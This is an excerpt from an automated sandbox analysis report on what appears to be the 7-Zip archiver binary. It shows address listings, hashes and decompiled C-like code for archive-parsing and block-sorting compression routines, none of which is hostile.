0x00446dd4
0x00446dd8
0x00446dd8
0x00446dfc
0x00446dff
0x00446e04
0x00446e06
0x00446dbe
0x00446e16
0x00446e1a
0x00446e24
0x00446f70
0x00446f7a
0x00000000
0x00446f80
0x00446f87
0x00446f91
0x00446f94
0x00446fa1
0x00446fa7
0x00000000
0x00446fa9
0x00000000
0x00446fa9
0x00446fa7
0x00446e2a
0x00446e2a
0x00446e2d
0x00446e33
0x00446e3c
0x00446e40
0x00446e44
0x00446e4e
0x00446e51
0x00446e58
0x00446e58
0x00446e5a
0x00446e5b
0x00446e5e
0x00446e5e
0x00446e61
0x00446e65
0x00446e69
0x00446e69
0x00446e71
0x00446e77
0x00446fb1
0x00000000
0x00446fb3
0x00446fba
0x00446fc6
0x00446fcd
0x00446fd8
0x00446fd8
0x00446e7d
0x00446e7d
0x00446e83
0x00446e86
0x00446e90
0x00446e96
0x00446e98
0x00446ea0
0x00446ea2
0x00446eb1
0x00446eb3
0x00446eb5
0x00446ebc
0x00446ec1
0x00446ec1
0x00446ec4
0x00446ec8
0x00446ed0
0x00446ed2
0x00446ed6
0x00446ed9
0x00446ed9
0x00446edb
0x00446ee0
0x00446ef2
0x00446ef9
0x00446eff
0x00446f00
0x00446f02
0x00446f02
0x00446ed9
0x00446f28
0x00446f35
0x00446f45
0x00446f4c
0x00000000
0x00446f52
0x00446f52
0x00446f5a
0x00446f5d
0x00446f5f
0x00446f67
0x00000000
0x00446f67
0x00446f4c
0x00446e77
0x00446d1e
0x00446d1e
0x00446d28
0x00000000
0x00446d2e
0x00446d37
0x00446d57
0x00446d5a
0x00000000
0x00446d5a
0x00446d28
0x00000000
0x00446d1c
0x00446d16
0x00446d12
0x00446aa5
0x00446a81
0x00446a66
0x00000000

Strings

2, xrefs: 00446D37

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: c070dbbcf1ae0897f8dc3b144dd62823fae68c0fa4a6491ef46143b1d8e6ff57
Instruction ID: 742eb6958adcedc066f5cc90f716e9b3af231f0b1192ff8565896ec2cdea9a5d
Opcode Fuzzy Hash: c070dbbcf1ae0897f8dc3b144dd62823fae68c0fa4a6491ef46143b1d8e6ff57
Instruction Fuzzy Hash: 7D02A2716043518BE718DF18D49026AF7E2EFCA308F16493EE9D6D7341DA38E946CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0042DBB6 Relevance: 1.7, APIs: 1, Instructions: 246
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E0042DBB6(intOrPtr __ecx, signed int __edx) {
				signed int _t133;
				intOrPtr _t135;
				signed int _t136;
				signed int _t137;
				signed int _t148;
				intOrPtr _t159;
				signed int _t160;
				intOrPtr _t162;
				void* _t164;
				signed int _t167;
				intOrPtr _t175;
				signed int _t177;
				signed int _t183;
				intOrPtr _t184;
				intOrPtr _t185;
				intOrPtr _t201;
				signed int _t211;
				signed int _t214;
				signed int _t215;
				intOrPtr _t217;
				signed int _t218;
				void* _t219;
				void* _t220;
				void* _t221;
				signed int _t223;
				signed int _t225;
				void* _t226;

				_t211 = __edx;
				L0046B890(0x477530, _t226);
				_t175 = __ecx;
				 *((intOrPtr*)(_t226 - 0x14)) = __ecx;
				E0040862D();
				_t223 =  *(_t226 + 8);
				E0040867E( *((intOrPtr*)(_t226 + 0xc)),  *(_t223 + 8));
				while(1) {
					_t133 = E0042D1A5( *((intOrPtr*)(_t175 + 0x18)), _t211);
					_t183 = _t211;
					 *(_t226 - 0x1c) = _t133;
					 *(_t226 - 0x18) = _t183;
					if(_t133 != 0xd) {
						goto L6;
					}
					L2:
					_t211 = 0;
					if(_t183 != 0) {
						L7:
						__eflags = _t133 - 0xa;
						if(_t133 != 0xa) {
							L9:
							__eflags = _t133 - 9;
							if(_t133 != 9) {
								L11:
								__eflags = _t133 | _t183;
								if((_t133 | _t183) == 0) {
									L13:
									_t135 =  *((intOrPtr*)(_t226 + 0xc));
									__eflags =  *((intOrPtr*)(_t135 + 8)) - _t211;
									if( *((intOrPtr*)(_t135 + 8)) != _t211) {
										L17:
										_t184 =  *((intOrPtr*)(_t226 + 0xc));
										_t214 = 0;
										 *(_t226 - 0x10) = 0;
										__eflags =  *((intOrPtr*)(_t184 + 8)) - _t211;
										if( *((intOrPtr*)(_t184 + 8)) <= _t211) {
											L27:
											__eflags =  *(_t226 - 0x1c) - 9;
											if( *(_t226 - 0x1c) == 9) {
												__eflags =  *(_t226 - 0x18) - _t211;
												if( *(_t226 - 0x18) == _t211) {
													_t160 = E0042D1A5( *((intOrPtr*)(_t175 + 0x18)), _t211);
													_t184 =  *((intOrPtr*)(_t226 + 0xc));
													 *(_t226 - 0x18) = _t211;
													 *(_t226 - 0x1c) = _t160;
													_t211 = 0;
													__eflags = 0;
												}
											}
											_t215 =  *(_t223 + 8);
											 *(_t226 - 0x10) = _t211;
											__eflags = _t215 - _t211;
											 *(_t226 + 8) = _t211;
											if(_t215 <= _t211) {
												L37:
												_t136 =  *(_t226 - 0x1c);
												__eflags = _t136 - 0xa;
												if(_t136 != 0xa) {
													L48:
													_t137 = _t136 |  *(_t226 - 0x18);
													__eflags = _t137;
													if(_t137 == 0) {
														_t185 =  *((intOrPtr*)(_t226 + 0x14));
														__eflags =  *((intOrPtr*)(_t185 + 8)) - _t211;
														if( *((intOrPtr*)(_t185 + 8)) != _t211) {
															L54:
															 *[fs:0x0] =  *((intOrPtr*)(_t226 - 0xc));
															return _t137;
														}
														E0042CFAA(_t185,  *(_t226 + 8));
														_t137 = E0040862D();
														_t225 =  *(_t226 + 8);
														__eflags = _t225;
														if(_t225 <= 0) {
															goto L54;
														} else {
															goto L53;
														}
														do {
															L53:
															_t137 = E00415C6D( *((intOrPtr*)(_t226 + 0x18)), 0);
															_t225 = _t225 - 1;
															__eflags = _t225;
														} while (_t225 != 0);
														goto L54;
													}
													E0042D192( *((intOrPtr*)(_t175 + 0x18)), _t211);
													L50:
													 *(_t226 - 0x1c) = E0042D1A5( *((intOrPtr*)(_t175 + 0x18)), _t211);
													 *(_t226 - 0x18) = _t211;
													goto L36;
												}
												__eflags =  *(_t226 - 0x18) - _t211;
												if(__eflags != 0) {
													goto L48;
												}
												 *(_t226 - 0x48) = _t211;
												 *(_t226 - 0x44) = _t211;
												 *(_t226 - 0x40) = _t211;
												 *((intOrPtr*)(_t226 - 0x3c)) = 1;
												 *((intOrPtr*)(_t226 - 0x4c)) = 0x47ab08;
												 *(_t226 - 4) = _t211;
												 *(_t226 - 0x34) = _t211;
												 *(_t226 - 0x30) = _t211;
												 *(_t226 - 0x2c) = _t211;
												 *((intOrPtr*)(_t226 - 0x28)) = 4;
												 *((intOrPtr*)(_t226 - 0x38)) = 0x47ab80;
												 *(_t226 - 4) = 1;
												E0042D850(_t175, __eflags,  *(_t226 - 0x10), _t226 - 0x4c, _t226 - 0x38);
												_t177 = 0;
												__eflags =  *(_t223 + 8);
												 *(_t226 + 0x10) = 0;
												if( *(_t223 + 8) <= 0) {
													L47:
													 *(_t226 - 4) =  *(_t226 - 4) & 0x00000000;
													E00408604(_t226 - 0x38);
													 *(_t226 - 4) =  *(_t226 - 4) | 0xffffffff;
													E00408604(_t226 - 0x4c);
													_t175 =  *((intOrPtr*)(_t226 - 0x14));
													goto L50;
												} else {
													goto L40;
												}
												do {
													L40:
													_t217 =  *((intOrPtr*)( *((intOrPtr*)(_t223 + 0xc)) + _t177 * 4));
													_t148 =  *( *((intOrPtr*)( *((intOrPtr*)(_t226 + 0xc)) + 0xc)) + _t177 * 4);
													__eflags = _t148 - 1;
													if(_t148 != 1) {
														L43:
														__eflags = _t148;
														if(_t148 <= 0) {
															goto L46;
														}
														_t218 = _t148;
														do {
															E0043AC2F( *((intOrPtr*)(_t226 + 0x14)),  *((intOrPtr*)( *(_t226 - 0x40) +  *(_t226 + 0x10))));
															E00415C6D( *((intOrPtr*)(_t226 + 0x18)),  *((intOrPtr*)( *(_t226 - 0x2c) +  *(_t226 + 0x10) * 4)));
															 *(_t226 + 0x10) =  *(_t226 + 0x10) + 1;
															_t218 = _t218 - 1;
															__eflags = _t218;
														} while (_t218 != 0);
														goto L46;
													}
													__eflags =  *((char*)(_t217 + 0x54));
													if( *((char*)(_t217 + 0x54)) == 0) {
														goto L43;
													}
													E0043AC2F( *((intOrPtr*)(_t226 + 0x14)), _t148);
													E00415C6D( *((intOrPtr*)(_t226 + 0x18)),  *((intOrPtr*)(_t217 + 0x50)));
													L46:
													_t177 = _t177 + 1;
													__eflags = _t177 -  *(_t223 + 8);
												} while (_t177 <  *(_t223 + 8));
												goto L47;
											} else {
												 *(_t226 + 0x10) =  *(_t184 + 0xc);
												do {
													_t201 =  *((intOrPtr*)( *(_t226 + 0x10) + _t211 * 4));
													__eflags = _t201 - 1;
													if(_t201 != 1) {
														L34:
														_t64 = _t226 - 0x10;
														 *_t64 =  *(_t226 - 0x10) + _t201;
														__eflags =  *_t64;
														goto L35;
													}
													_t159 =  *((intOrPtr*)( *((intOrPtr*)(_t223 + 0xc)) + _t211 * 4));
													__eflags =  *((char*)(_t159 + 0x54));
													if( *((char*)(_t159 + 0x54)) != 0) {
														goto L35;
													}
													goto L34;
													L35:
													 *(_t226 + 8) =  *(_t226 + 8) + _t201;
													_t211 = _t211 + 1;
													__eflags = _t211 - _t215;
												} while (_t211 < _t215);
												L36:
												_t211 = 0;
												__eflags = 0;
												goto L37;
											}
										} else {
											goto L18;
										}
										do {
											L18:
											_t162 =  *((intOrPtr*)( *(_t184 + 0xc) + _t214 * 4));
											__eflags = _t162 - _t211;
											if(_t162 == _t211) {
												goto L26;
											}
											__eflags = _t162 - 1;
											 *(_t226 - 0x24) = _t211;
											 *(_t226 - 0x20) = _t211;
											if(_t162 <= 1) {
												L25:
												_t164 = E00429826( *((intOrPtr*)( *((intOrPtr*)(_t223 + 0xc)) + _t214 * 4)));
												asm("sbb edx, [ebp-0x20]");
												L0042389F( *(_t226 + 0x10), _t164 -  *(_t226 - 0x24), _t211);
												_t184 =  *((intOrPtr*)(_t226 + 0xc));
												_t211 = 0;
												__eflags = 0;
												goto L26;
											}
											_t167 = _t162 - 1;
											__eflags = _t167;
											 *(_t226 + 8) = _t167;
											do {
												__eflags =  *(_t226 - 0x1c) - 9;
												if( *(_t226 - 0x1c) == 9) {
													__eflags =  *(_t226 - 0x18) - _t211;
													if( *(_t226 - 0x18) == _t211) {
														_t219 = E0042D1A5( *((intOrPtr*)(_t175 + 0x18)), _t211);
														L0042389F( *(_t226 + 0x10), _t219, _t211);
														 *(_t226 - 0x24) =  *(_t226 - 0x24) + _t219;
														_t214 =  *(_t226 - 0x10);
														asm("adc [ebp-0x20], ebx");
														_t175 =  *((intOrPtr*)(_t226 - 0x14));
														_t211 = 0;
														__eflags = 0;
													}
												}
												_t36 = _t226 + 8;
												 *_t36 =  *(_t226 + 8) - 1;
												__eflags =  *_t36;
											} while ( *_t36 != 0);
											goto L25;
											L26:
											_t214 = _t214 + 1;
											__eflags = _t214 -  *((intOrPtr*)(_t184 + 8));
											 *(_t226 - 0x10) = _t214;
										} while (_t214 <  *((intOrPtr*)(_t184 + 8)));
										goto L27;
									}
									_t220 = 0;
									__eflags =  *(_t223 + 8) - _t211;
									if( *(_t223 + 8) <= _t211) {
										goto L17;
									} else {
										goto L15;
									}
									do {
										L15:
										E00415C6D( *((intOrPtr*)(_t226 + 0xc)), 1);
										_t220 = _t220 + 1;
										__eflags = _t220 -  *(_t223 + 8);
									} while (_t220 <  *(_t223 + 8));
									_t211 = 0;
									__eflags = 0;
									goto L17;
								}
								E0042D192( *((intOrPtr*)(_t175 + 0x18)), _t211);
								while(1) {
									_t133 = E0042D1A5( *((intOrPtr*)(_t175 + 0x18)), _t211);
									_t183 = _t211;
									 *(_t226 - 0x1c) = _t133;
									 *(_t226 - 0x18) = _t183;
									if(_t133 != 0xd) {
										goto L6;
									}
									goto L2;
								}
								goto L6;
							}
							__eflags = _t183 - _t211;
							if(_t183 == _t211) {
								goto L13;
							}
							goto L11;
						}
						__eflags = _t183 - _t211;
						if(_t183 == _t211) {
							goto L13;
						}
						goto L9;
					}
					_t221 = 0;
					if( *(_t223 + 8) <= 0) {
						continue;
					} else {
						goto L4;
					}
					do {
						L4:
						E00415C6D( *((intOrPtr*)(_t226 + 0xc)), E0042D241(0));
						_t221 = _t221 + 1;
					} while (_t221 <  *(_t223 + 8));
					continue;
					L6:
					_t211 = 0;
					__eflags = 0;
					goto L7;
				}
			}

0x0042dbb6
0x0042dbbb
0x0042dbc4
0x0042dbcb
0x0042dbce
0x0042dbd3
0x0042dbdc
0x0042dbe1
0x0042dbe4
0x0042dbe9
0x0042dbee
0x0042dbf1
0x0042dbf4
0x00000000
0x00000000
0x0042dbf6
0x0042dbf6
0x0042dbfa
0x0042dc1e
0x0042dc1e
0x0042dc21
0x0042dc27
0x0042dc27
0x0042dc2a
0x0042dc30
0x0042dc30
0x0042dc32
0x0042dc3e
0x0042dc3e
0x0042dc41
0x0042dc44
0x0042dc5f
0x0042dc5f
0x0042dc62
0x0042dc64
0x0042dc67
0x0042dc6a
0x0042dce2
0x0042dce2
0x0042dce6
0x0042dce8
0x0042dceb
0x0042dcf0
0x0042dcf5
0x0042dcf8
0x0042dcfb
0x0042dcfe
0x0042dcfe
0x0042dcfe
0x0042dceb
0x0042dd00
0x0042dd03
0x0042dd06
0x0042dd08
0x0042dd0b
0x0042dd37
0x0042dd37
0x0042dd3a
0x0042dd3d
0x0042de1f
0x0042de1f
0x0042de1f
0x0042de22
0x0042de3f
0x0042de42
0x0042de45
0x0042de6b
0x0042de71
0x0042de79
0x0042de79
0x0042de4a
0x0042de52
0x0042de57
0x0042de5a
0x0042de5c
0x00000000
0x00000000
0x00000000
0x00000000
0x0042de5e
0x0042de5e
0x0042de63
0x0042de68
0x0042de68
0x0042de68
0x00000000
0x0042de5e
0x0042de27
0x0042de2c
0x0042de34
0x0042de37
0x00000000
0x0042de37
0x0042dd43
0x0042dd46
0x00000000
0x00000000
0x0042dd4c
0x0042dd4f
0x0042dd52
0x0042dd55
0x0042dd5c
0x0042dd63
0x0042dd66
0x0042dd69
0x0042dd6c
0x0042dd6f
0x0042dd76
0x0042dd87
0x0042dd8e
0x0042dd93
0x0042dd95
0x0042dd98
0x0042dd9b
0x0042de02
0x0042de02
0x0042de09
0x0042de0e
0x0042de15
0x0042de1a
0x00000000
0x00000000
0x00000000
0x00000000
0x0042dd9d
0x0042dd9d
0x0042dda6
0x0042dda9
0x0042ddac
0x0042ddaf
0x0042ddcd
0x0042ddcd
0x0042ddcf
0x00000000
0x00000000
0x0042ddd1
0x0042ddd3
0x0042dde0
0x0042ddf1
0x0042ddf6
0x0042ddf9
0x0042ddf9
0x0042ddf9
0x00000000
0x0042ddd3
0x0042ddb1
0x0042ddb5
0x00000000
0x00000000
0x0042ddbb
0x0042ddc6
0x0042ddfc
0x0042ddfc
0x0042ddfd
0x0042ddfd
0x00000000
0x0042dd0d
0x0042dd10
0x0042dd13
0x0042dd16
0x0042dd19
0x0042dd1c
0x0042dd2a
0x0042dd2a
0x0042dd2a
0x0042dd2a
0x00000000
0x0042dd2a
0x0042dd21
0x0042dd24
0x0042dd28
0x00000000
0x00000000
0x00000000
0x0042dd2d
0x0042dd2d
0x0042dd30
0x0042dd31
0x0042dd31
0x0042dd35
0x0042dd35
0x0042dd35
0x00000000
0x0042dd35
0x00000000
0x00000000
0x00000000
0x0042dc6c
0x0042dc6c
0x0042dc6f
0x0042dc72
0x0042dc74
0x00000000
0x00000000
0x0042dc76
0x0042dc79
0x0042dc7c
0x0042dc7f
0x0042dcb9
0x0042dcbf
0x0042dcca
0x0042dccf
0x0042dcd4
0x0042dcd7
0x0042dcd7
0x00000000
0x0042dcd7
0x0042dc81
0x0042dc81
0x0042dc82
0x0042dc85
0x0042dc85
0x0042dc89
0x0042dc8b
0x0042dc8e
0x0042dc9d
0x0042dca1
0x0042dca6
0x0042dca9
0x0042dcac
0x0042dcaf
0x0042dcb2
0x0042dcb2
0x0042dcb2
0x0042dc8e
0x0042dcb4
0x0042dcb4
0x0042dcb4
0x0042dcb4
0x00000000
0x0042dcd9
0x0042dcd9
0x0042dcda
0x0042dcdd
0x0042dcdd
0x00000000
0x0042dc6c
0x0042dc46
0x0042dc48
0x0042dc4b
0x00000000
0x00000000
0x00000000
0x00000000
0x0042dc4d
0x0042dc4d
0x0042dc52
0x0042dc57
0x0042dc58
0x0042dc58
0x0042dc5d
0x0042dc5d
0x00000000
0x0042dc5d
0x0042dc37
0x0042dbe1
0x0042dbe4
0x0042dbe9
0x0042dbee
0x0042dbf1
0x0042dbf4
0x00000000
0x00000000
0x00000000
0x0042dbf4
0x00000000
0x0042dbe1
0x0042dc2c
0x0042dc2e
0x00000000
0x00000000
0x00000000
0x0042dc2e
0x0042dc23
0x0042dc25
0x00000000
0x00000000
0x00000000
0x0042dc25
0x0042dbfc
0x0042dc01
0x00000000
0x00000000
0x00000000
0x00000000
0x0042dc03
0x0042dc03
0x0042dc0f
0x0042dc14
0x0042dc15
0x00000000
0x0042dc1c
0x0042dc1c
0x0042dc1c
0x00000000
0x0042dc1c

APIs

__EH_prolog.LIBCMT ref: 0042DBBB

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2efe874e0d54bcc63b88533e8d0e92cc829ab34bf8cfbc3d7771b8826d61e310
Instruction ID: f0c02de7351495f9103b866f9f83217b28a37e7e00b398bfa100c8a62c2efe4d
Opcode Fuzzy Hash: 2efe874e0d54bcc63b88533e8d0e92cc829ab34bf8cfbc3d7771b8826d61e310
Instruction Fuzzy Hash: D2A14D70E006199FCB18DF56D8919AEB7B2FF94304F64842EE4159B351DB38AD81CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00459170 Relevance: 1.6, Strings: 1, Instructions: 333
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00459170(void* __ecx, signed char* __edx) {
				void* _t195;
				signed int _t200;
				signed int _t201;
				intOrPtr _t202;
				signed int _t207;
				signed int _t210;
				signed int _t214;
				signed int* _t216;
				void* _t219;
				void* _t226;
				intOrPtr _t231;
				void* _t242;
				void* _t244;
				void* _t246;
				void* _t248;
				signed char _t249;
				signed int _t252;
				signed int _t256;
				signed int _t257;
				intOrPtr _t260;
				signed int _t263;
				signed int _t266;
				signed int _t269;
				signed int _t272;
				signed char* _t291;
				signed int _t292;
				signed int* _t294;
				signed int _t296;
				intOrPtr _t297;
				signed int _t305;
				signed int _t310;
				signed int _t315;
				signed int _t320;
				unsigned int _t327;
				void* _t328;
				signed int* _t331;
				signed int _t332;
				void* _t339;
				signed int _t340;
				signed int _t344;
				void* _t345;
				signed int _t346;
				unsigned int _t349;
				intOrPtr _t350;
				signed int _t354;
				void* _t363;
				void* _t364;

				_t291 = __edx;
				_t346 =  *(_t363 + 0x24);
				_t226 = __ecx;
				_t339 = __ecx + _t346 * 4;
				_t195 = memset(_t339, 0, 0x10000 << 2);
				_t364 = _t363 + 0xc;
				_t327 = _t346 - 1;
				 *(_t364 + 0x18) = _t339;
				 *(_t364 + 0x24) = _t327;
				if(_t327 != 0) {
					do {
						 *((intOrPtr*)(_t339 + ((_t291[_t195] & 0x000000ff) << 0x00000008 | _t291[_t195 + 1] & 0x000000ff) * 4)) =  *((intOrPtr*)(_t339 + ((_t291[_t195] & 0x000000ff) << 0x00000008 | _t291[_t195 + 1] & 0x000000ff) * 4)) + 1;
						_t195 = _t195 + 1;
					} while (_t195 < _t327);
				}
				 *((intOrPtr*)(_t339 + (( *(_t195 + _t291) & 0x000000ff) << 0x00000008 |  *_t291 & 0x000000ff) * 4)) =  *((intOrPtr*)(_t339 + (( *(_t195 + _t291) & 0x000000ff) << 0x00000008 |  *_t291 & 0x000000ff) * 4)) + 1;
				_t328 = 0;
				_t200 = 0;
				do {
					_t231 =  *((intOrPtr*)(_t339 + _t200 * 4));
					if(_t231 != 0) {
						_t328 = _t328 + _t231;
					}
					 *((intOrPtr*)(_t339 + _t200 * 4)) = _t328 - _t231;
					_t200 = _t200 + 1;
				} while (_t200 < 0x10000);
				_t349 =  *(_t364 + 0x24);
				_t201 = 0;
				if(_t349 != 0) {
					do {
						 *((intOrPtr*)(_t339 + 0x40000 + _t201 * 4)) =  *((intOrPtr*)(_t339 + ((_t291[_t201] & 0x000000ff) << 0x00000008 | _t291[_t201 + 1] & 0x000000ff) * 4));
						_t201 = _t201 + 1;
					} while (_t201 < _t349);
				}
				 *((intOrPtr*)(_t339 + 0x40000 + _t201 * 4)) =  *((intOrPtr*)(_t339 + ((_t291[_t201] & 0x000000ff) << 0x00000008 |  *_t291 & 0x000000ff) * 4));
				_t202 = 0;
				if(_t349 != 0) {
					do {
						 *((intOrPtr*)(_t226 +  *(_t339 + ((_t291[_t202] & 0x000000ff) << 0x00000008 | _t291[_t202 + 1] & 0x000000ff) * 4) * 4)) = _t202;
						 *(_t339 + ((_t291[_t202] & 0x000000ff) << 0x00000008 | _t291[_t202 + 1] & 0x000000ff) * 4) =  *(_t339 + ((_t291[_t202] & 0x000000ff) << 0x00000008 | _t291[_t202 + 1] & 0x000000ff) * 4) + 1;
						_t202 = _t202 + 1;
					} while (_t202 < _t349);
				}
				 *((intOrPtr*)(_t226 +  *(_t339 + (( *(_t202 + _t291) & 0x000000ff) << 0x00000008 |  *_t291 & 0x000000ff) * 4) * 4)) = _t202;
				 *(_t339 + (( *(_t202 + _t291) & 0x000000ff) << 0x00000008 |  *_t291 & 0x000000ff) * 4) =  *(_t339 + (( *(_t202 + _t291) & 0x000000ff) << 0x00000008 |  *_t291 & 0x000000ff) * 4) + 1;
				_t207 = 0;
				_t331 = _t339 + 8;
				 *(_t364 + 0x14) = 0x4000;
				do {
					_t242 =  *(_t331 - 8) - _t207;
					if(_t242 != 0) {
						_t272 = _t242 - 1;
						if(_t272 != 0) {
							 *(_t226 + _t207 * 4) =  *(_t226 + _t207 * 4) | (_t272 & 0x000003ff | 0xfffff800) << 0x00000014;
							_t320 =  *(_t226 + _t207 * 4);
							if(_t272 >= 0x400) {
								 *(_t226 + _t207 * 4) = _t320 | 0x40000000;
								 *(_t226 + 4 + _t207 * 4) =  *(_t226 + 4 + _t207 * 4) | (_t272 & 0xfffffc00) << 0x0000000a;
							}
						}
						_t207 =  *(_t331 - 8);
					}
					_t244 =  *(_t331 - 4) - _t207;
					if(_t244 != 0) {
						_t269 = _t244 - 1;
						if(_t269 != 0) {
							 *(_t226 + _t207 * 4) =  *(_t226 + _t207 * 4) | (_t269 & 0x000003ff | 0xfffff800) << 0x00000014;
							_t315 =  *(_t226 + _t207 * 4);
							if(_t269 >= 0x400) {
								 *(_t226 + _t207 * 4) = _t315 | 0x40000000;
								 *(_t226 + 4 + _t207 * 4) =  *(_t226 + 4 + _t207 * 4) | (_t269 & 0xfffffc00) << 0x0000000a;
							}
						}
						_t207 =  *(_t331 - 4);
					}
					_t246 =  *_t331 - _t207;
					if(_t246 != 0) {
						_t266 = _t246 - 1;
						if(_t266 != 0) {
							 *(_t226 + _t207 * 4) =  *(_t226 + _t207 * 4) | (_t266 & 0x000003ff | 0xfffff800) << 0x00000014;
							_t310 =  *(_t226 + _t207 * 4);
							if(_t266 >= 0x400) {
								 *(_t226 + _t207 * 4) = _t310 | 0x40000000;
								 *(_t226 + 4 + _t207 * 4) =  *(_t226 + 4 + _t207 * 4) | (_t266 & 0xfffffc00) << 0x0000000a;
							}
						}
						_t207 =  *_t331;
					}
					_t248 = _t331[1] - _t207;
					if(_t248 != 0) {
						_t263 = _t248 - 1;
						if(_t263 != 0) {
							 *(_t226 + _t207 * 4) =  *(_t226 + _t207 * 4) | (_t263 & 0x000003ff | 0xfffff800) << 0x00000014;
							_t305 =  *(_t226 + _t207 * 4);
							if(_t263 >= 0x400) {
								 *(_t226 + _t207 * 4) = _t305 | 0x40000000;
								 *(_t226 + 4 + _t207 * 4) =  *(_t226 + 4 + _t207 * 4) | (_t263 & 0xfffffc00) << 0x0000000a;
							}
						}
						_t207 = _t331[1];
					}
					_t331 =  &(_t331[4]);
					_t123 = _t364 + 0x14;
					 *_t123 =  *(_t364 + 0x14) - 1;
				} while ( *_t123 != 0);
				_t249 = 0;
				if(_t349 != 0) {
					do {
						_t249 = _t249 + 1;
					} while (_t349 >> _t249 != 0);
				}
				 *((intOrPtr*)(_t364 + 0x20)) = 0x20;
				if(0x20 - _t249 > 0xc) {
					 *((intOrPtr*)(_t364 + 0x20)) = 0xc;
				}
				 *(_t364 + 0x14) = 2;
				while(1) {
					_t332 = 0;
					_t350 = 0;
					 *((intOrPtr*)(_t364 + 0x10)) = 0;
					 *(_t364 + 0x24) = 0;
					if( *((intOrPtr*)(_t364 + 0x2c)) <= 0) {
						break;
					} else {
						goto L40;
					}
					do {
						L40:
						_t214 =  *(_t226 + _t332 * 4);
						_t294 = _t226 + _t332 * 4;
						_t344 = _t214 >> 0x00000014 & 0x000003ff;
						_t256 =  !(_t214 >> 0x1f) & 0x00000001;
						if((_t214 & 0x40000000) != 0) {
							_t344 = _t344 + (_t294[1] >> 0x0000000a & 0x003ffc00);
							_t294[1] = _t294[1] & 0x000fffff;
							_t350 =  *((intOrPtr*)(_t364 + 0x10));
						}
						_t345 = _t344 + 1;
						 *_t294 = _t214 & 0x000fffff;
						if(_t256 != 0 || _t345 == 1) {
							_t296 = _t332 - _t350;
							 *(_t226 + _t296 * 4) =  *(_t226 + _t296 * 4) & 0x000fffff;
							_t216 = _t226 + _t296 * 4;
							if(_t350 > 1) {
								_t216[1] = _t216[1] & 0x000fffff;
							}
							_t297 = _t345 + _t350;
							_t166 = _t297 - 1; // -1
							_t257 = _t166;
							 *_t216 =  *_t216 | (_t257 & 0x000003ff) << 0x00000014;
							_t354 =  *_t216;
							if(_t297 > 0x400) {
								_t216[1] = _t216[1] | (_t257 & 0xfffffc00) << 0x0000000a;
								 *_t216 = _t354 | 0x40000000;
							}
							_t350 = _t297;
							 *((intOrPtr*)(_t364 + 0x10)) = _t350;
						} else {
							_t260 =  *((intOrPtr*)(_t364 + 0x2c));
							_t350 = 0;
							 *((intOrPtr*)(_t364 + 0x10)) = 0;
							if( *(_t364 + 0x14) < _t260) {
								_push(_t260);
								_push(0);
								_push(_t226);
								_push( *((intOrPtr*)(_t364 + 0x20)));
								_push(_t345);
								_push(_t332);
								if(E00458D60(_t260,  *(_t364 + 0x14)) != 0) {
									 *(_t364 + 0x24) = _t345 + _t332;
								}
							} else {
								_t219 = 0;
								if(_t345 != 0) {
									 *(_t364 + 0x1c) = _t294;
									do {
										 *((intOrPtr*)( *(_t364 + 0x18) + 0x40000 +  *_t294 * 4)) = _t219 + _t332;
										_t219 = _t219 + 1;
										_t294 =  &(( *(_t364 + 0x1c))[1]);
										 *(_t364 + 0x1c) = _t294;
									} while (_t219 < _t345);
									_t350 =  *((intOrPtr*)(_t364 + 0x10));
								}
							}
						}
						_t332 = _t332 + _t345;
					} while (_t332 <  *((intOrPtr*)(_t364 + 0x2c)));
					_t339 =  *(_t364 + 0x18);
					if( *(_t364 + 0x24) != 0) {
						 *(_t364 + 0x14) =  *(_t364 + 0x14) << 1;
						continue;
					}
					break;
				}
				_t210 = 0;
				if( *((intOrPtr*)(_t364 + 0x2c)) <= 0) {
					return  *((intOrPtr*)(_t339 + 0x40000));
				} else {
					do {
						_t340 =  *(_t226 + _t210 * 4);
						_t252 = _t340 >> 0x00000014 & 0x000003ff;
						if((_t340 & 0x40000000) != 0) {
							_t292 =  *(_t226 + 4 + _t210 * 4);
							_t252 = _t252 + (_t292 >> 0x0000000a & 0x003ffc00);
							 *(_t226 + 4 + _t210 * 4) = _t292 & 0x000fffff;
						}
